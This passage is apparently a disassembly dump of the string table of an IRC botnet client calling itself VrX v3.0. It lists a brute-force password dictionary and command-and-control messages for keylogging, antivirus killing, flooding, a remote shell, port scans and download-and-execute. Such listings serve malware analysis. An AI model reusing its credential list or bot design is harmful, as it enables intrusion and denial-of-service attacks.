aChangeme	db 'changeme',0         ; DATA XREF: .packed:0042932Co
		align 10h
aLinux		db 'linux',0            ; DATA XREF: .packed:00429328o
		align 4
aUnix		db 'unix',0             ; DATA XREF: .packed:00429324o
		align 10h
aDemo		db 'demo',0             ; DATA XREF: .packed:00429320o
		align 4
aNone		db 'none',0             ; DATA XREF: .packed:0042931Co
		align 10h
aTest		db 'test',0             ; DATA XREF: .packed:00429314o
		align 4
a2004		db '2004',0             ; DATA XREF: .packed:00429310o
		align 10h
a2003		db '2003',0             ; DATA XREF: sub_41AF8F+BAo
					; .packed:0042930Co
		align 4
a2002		db '2002',0             ; DATA XREF: .packed:00429308o
		align 10h
a2001		db '2001',0             ; DATA XREF: .packed:00429304o
		align 4
a2000		db '2000',0             ; DATA XREF: .packed:00429300o
		align 10h
a1234567890	db '1234567890',0       ; DATA XREF: .packed:004292FCo
		align 4
a123456789	db '123456789',0        ; DATA XREF: .packed:004292F8o
		align 4
a12345678	db '12345678',0         ; DATA XREF: .packed:004292F4o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .packed:004292F0o
a123456		db '123456',0           ; DATA XREF: .packed:004292ECo
		align 4
a12345		db '12345',0            ; DATA XREF: .packed:004292E8o
		align 4
a1234		db '1234',0             ; DATA XREF: .packed:004292E4o
		align 4
a123		db '123',0              ; DATA XREF: .packed:004292E0o
a12		db '12',0               ; DATA XREF: .packed:004292DCo
		align 4
a1:					; DATA XREF: .packed:0040AFC7o
					; .packed:004292D8o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: .packed:004292D4o
aPwd		db 'pwd',0              ; DATA XREF: .packed:004292D0o
aPass_0		db 'pass',0             ; DATA XREF: .packed:004292CCo
		align 10h
aPass1234	db 'pass1234',0         ; DATA XREF: .packed:004292C8o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .packed:004292C4o
		align 4
aPassword	db 'password',0         ; DATA XREF: .packed:004292C0o
		align 10h
aPassword1	db 'password1',0        ; DATA XREF: .packed:004292BCo
		align 4
aAdm		db 'adm',0              ; DATA XREF: .packed:004292B8o
aDb2		db 'db2',0              ; DATA XREF: .packed:00429460o
aOracle		db 'oracle',0           ; DATA XREF: .packed:00429478o
		align 4
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: .packed:00429440o
		align 4
aDefault	db 'default',0          ; DATA XREF: .packed:00429330o
aGuest_0	db 'guest',0            ; DATA XREF: .packed:00429318o
		align 4
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .packed:004294C0o
aStudent	db 'student',0          ; DATA XREF: .packed:004294BCo
aOwner		db 'owner',0
		align 10h
aComputer	db 'computer',0
		align 4
aRoot		db 'root',0             ; DATA XREF: .packed:0042933Co
		align 4
aStaff		db 'staff',0            ; DATA XREF: .packed:004294C4o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .packed:004292B4o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .packed:004292B0o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .packed:004292ACo
aAdministrateur	db 'administrateur',0   ; DATA XREF: .packed:004292A8o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .packed:004292A4o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: .packed:004292A0o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0042916Co
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .packed:00429168o
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .packed:00429164o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .packed:off_429160o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: .packed:off_42915Co
dword_4299D4	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: sub_401221+46Bo
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A08	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: sub_401221+420o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A34	db  2Dh	; -		; DATA XREF: sub_401221+3F3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A74	db  2Dh	; -		; DATA XREF: sub_401221+3A2o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A98	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: sub_401221+364o
		dd 2E646574h, 0
dword_429AB4	dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_401221+28Fo
dword_429AC0	dd 255C7325h, 73h	; DATA XREF: sub_401221+189o
					; sub_41716F+45o
dword_429AC8	dd 73257325h, 0		; DATA XREF: sub_401221+10Do
					; sub_4100B4+EAo ...
unk_429AD0	db    3			; DATA XREF: sub_4017ED+F2o
a81VrxConnected	db '8,1-VrX- Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
		align 4
unk_429B34	db    3			; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg	db '8,1-VrX- User: %s logged in.',0
		align 4
unk_429B54	db    3			; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA	db '8,1-VrX- Password accepted.',0
		align 4
unk_429B74	db    3			; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos	db '8,1-VrX- *Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C52o
		align 4
unk_429BC8	db    3			; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas	db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C02o
					; sub_401ACD+7C69o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7BEBo
		align 4
asc_429C48:				; DATA XREF: sub_401ACD+7BBBo
		unicode	0, <~>,0
unk_429C4C	db    3			; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic	db '8,1-VrX- Random nick change: %s',0
		align 10h
unk_429C70	db    3			; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect	db '8,1-VrX- Reconnecting in %s seconds',0
		align 4
unk_429C98	db    3			; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0	db '8,1-VrX- Reconnecting in %s ms',0
unk_429CB8	db    3			; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang	db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CDC	db    3			; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha	db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429CFC	db    3			; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha	db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D1C	db    3			; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_	db '8,1-VrX- IRC Raw: %s.',0
		align 4
unk_429D34	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40948Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429D60	db  2Dh	; -		; DATA XREF: sub_401ACD+79B6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D84	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40943Do
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DAC	db  2Dh	; -		; DATA XREF: sub_401ACD+7966o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+794Co
unk_429DD8	db    3			; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha	db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429DFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409300o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E20	db  2Dh	; -		; DATA XREF: sub_401ACD+7829o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 10h
unk_429E40	db    3			; DATA XREF: sub_401ACD+7809o
a81VrxServerCha	db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4092BDo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429E8C	db  2Dh	; -		; DATA XREF: sub_401ACD+77C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429EAC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409255o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EDC	db  2Dh	; -		; DATA XREF: sub_401ACD+777Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429EFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4091F5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F2C	db  2Dh	; -		; DATA XREF: sub_401ACD+7721o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_429F50	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+76DFo
		dd 27732527h, 2Eh
unk_429F6C	db  2Dh	; -		; DATA XREF: sub_401ACD+7667o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F90	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+75ECo
		dd 0
unk_429FA8	db  2Dh	; -		; DATA XREF: sub_401ACD+75BFo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_429FE8	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+7550o
		dd 2Eh
dword_42A000	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_408F9Do
		dd 746E6573h, 2Eh
unk_42A01C	db  2Dh	; -		; DATA XREF: sub_401ACD+74C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A03C	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+748Fo
		dd 732520h
unk_42A054	db  2Dh	; -		; DATA XREF: sub_401ACD+7481o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
asc_42A080:				; DATA XREF: sub_401ACD+7469o
					; sub_4100B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A084	db    3			; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF	db '8,1-VrX- Read file failed: %s',0
		align 4
unk_42A0A4	db    3			; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC	db '8,1-VrX- Read file complete: %s',0
		align 4
aUnknowModeType	db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
		align 4
aFailedToStartL	db 'Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_401ACD+73B4o
		align 4
aNormalKeyLogge	db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
		align 4
aNormal_0	db 'normal',0           ; DATA XREF: sub_401ACD+72EDo
		align 10h
aKeylogerAlread	db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
		align 4
aVrxV3_0SitesKe	db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
					; sub_401ACD+72E5o
		align 10h
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_401ACD+7231o
		align 4
unk_42A178	db    3			; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_	db '8,1-VrX- Gethost: %s.',0
		align 10h
unk_42A190	db    3			; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE	db '8,1-VrX- Unable to extract Gethost command.',0
		align 10h
unk_42A1C0	db    3			; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC	db '8,1-VrX- Gethost: %s, Command: %s',0
		align 4
unk_42A1E4	db    3			; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde	db '8,1-VrX- Alias added: %s.',0
		align 10h
unk_42A200	db    3			; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS	db '8,1-VrX- Privmsg: %s: %s.',0
		align 4
unk_42A21C	db    3			; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_	db '8,1-VrX- Action: %s: %s.',0
		align 4
dword_42A238	dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
					; DATA XREF: sub_401ACD+7028o
dword_42A24C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
					; sub_401ACD+7A49o
unk_42A258	db    3			; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang	db '8,1-VrX- Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+6FB6o
		align 10h
dword_42A280	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+6F8Do
		dd 25203A29h, 73h
dword_42A29C	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+6F1Fo
		dd 203A2973h, 7325h
dword_42A2B8	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6EC7o
dword_42A2C0	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6E95o
		dd 203A2973h, 7325h
dword_42A2DC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2E8	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6DEBo
					; sub_401ACD+6E71o ...
dword_42A2F0	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6DB6o
dword_42A2F8	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D79o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A334	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D0Eo
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_42A360	db  2Dh	; -		; DATA XREF: sub_401ACD+6CA8o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+6C39o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D0	db    3			; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot	db '8,1-VrX- Repeat not allowed in command line: %s',0
		align 4
unk_42A404	db    3			; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS	db '8,1-VrX- Repeat: %s',0
		align 4
dword_42A41C	dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
					; DATA XREF: sub_401ACD:loc_408591o
dword_42A430	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6A84o
					; sub_401ACD+6B37o ...
dword_42A440	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A488	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A19o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A4C4	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+69AAo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+6904o
		align 4
dword_42A4FC	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+68A2o
		dd 7325203Ah, 0
unk_42A518	db  2Dh	; -		; DATA XREF: sub_401ACD+6897o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A53C	db  2Dh	; -		; DATA XREF: sub_401ACD+67FDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A578	db  2Dh	; -		; DATA XREF: sub_401ACD+6787o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A5A8	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40818Do
					; sub_401ACD:loc_4091C7o
unk_42A5B4	db  2Dh	; -		; DATA XREF: sub_401ACD+66ABo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A5D8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408156o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_42A610	db  2Dh	; -		; DATA XREF: sub_401ACD+667Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A648	db  2Dh	; -		; DATA XREF: sub_401ACD+660Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A674	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+658Co
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
dword_42A6B0	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+651Do
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_42A6E0	db  2Dh	; -		; DATA XREF: sub_401ACD+64A4o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A718	db  2Dh	; -		; DATA XREF: sub_401ACD+6435o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A748	db  2Dh	; -		; DATA XREF: sub_401ACD+63ABo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A780	db  2Dh	; -		; DATA XREF: sub_401ACD+633Co
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A7B0	db  2Dh	; -		; DATA XREF: sub_401ACD+62C3o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6254o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A824	db  2Dh	; -		; DATA XREF: sub_401ACD+61DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42A864	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+616Co
aDownloadingUrl	db '- Downloading URL: %s to: %s.',0
		align 10h
unk_42A890	db  2Dh	; -		; DATA XREF: sub_401ACD+609Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A8D4	db  2Dh	; -		; DATA XREF: sub_401ACD+602Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A910	db    3			; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan	db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5E85o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5DB0o
		align 4
dword_42A968	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5D22o
					; sub_401ACD+7074o
unk_42A974	db  2Dh	; -		; DATA XREF: sub_401ACD+5CC0o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42A9B0	db  2Dh	; -		; DATA XREF: sub_401ACD+5C51o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 10h
unk_42AA00	db    3			; DATA XREF: sub_401ACD+5BBAo
					; sub_401ACD+5FA0o
a81Sc@nFailedTo	db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AA38	db    3			; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca	db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
		db 's for %d minutes using %d threads.',0
		align 10h
unk_42AAA0	db    3			; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0	db '8,1-SC@N- Failed to start scan, no IP specified.',0
		align 4
unk_42AAD4	db    3			; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1	db '8,1-SC@N- Failed to start scan, port is invalid.',0
		align 4
unk_42AB08	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_407320o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AB38	db  2Dh	; -		; DATA XREF: sub_401ACD+584Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 10h
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5835o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+581Eo
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+57FBo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+57D7o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+57C6o
		align 4
unk_42ABA8	db  2Dh	; -		; DATA XREF: sub_401ACD+576Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+574Ao
		align 10h
unk_42ABD0	db    3			; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD	db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+56B5o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_8	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AC44	db  2Dh	; -		; DATA XREF: sub_401ACD+564Ao
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AC8C	db  2Dh	; -		; DATA XREF: sub_401ACD+5599o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42ACC0	db  2Dh	; -		; DATA XREF: sub_401ACD+5565o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42ACF4	db  2Dh	; -		; DATA XREF: sub_401ACD+5541o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AD2C	db  2Dh	; -		; DATA XREF: sub_401ACD+549Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
		align 10h
unk_42AD80	db  2Dh	; -		; DATA XREF: sub_401ACD+546Do
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42ADB8	db  2Dh	; -		; DATA XREF: sub_401ACD+53FEo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42AE00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406E1Do
		db 3, 34h, 2
		db  74h	; t
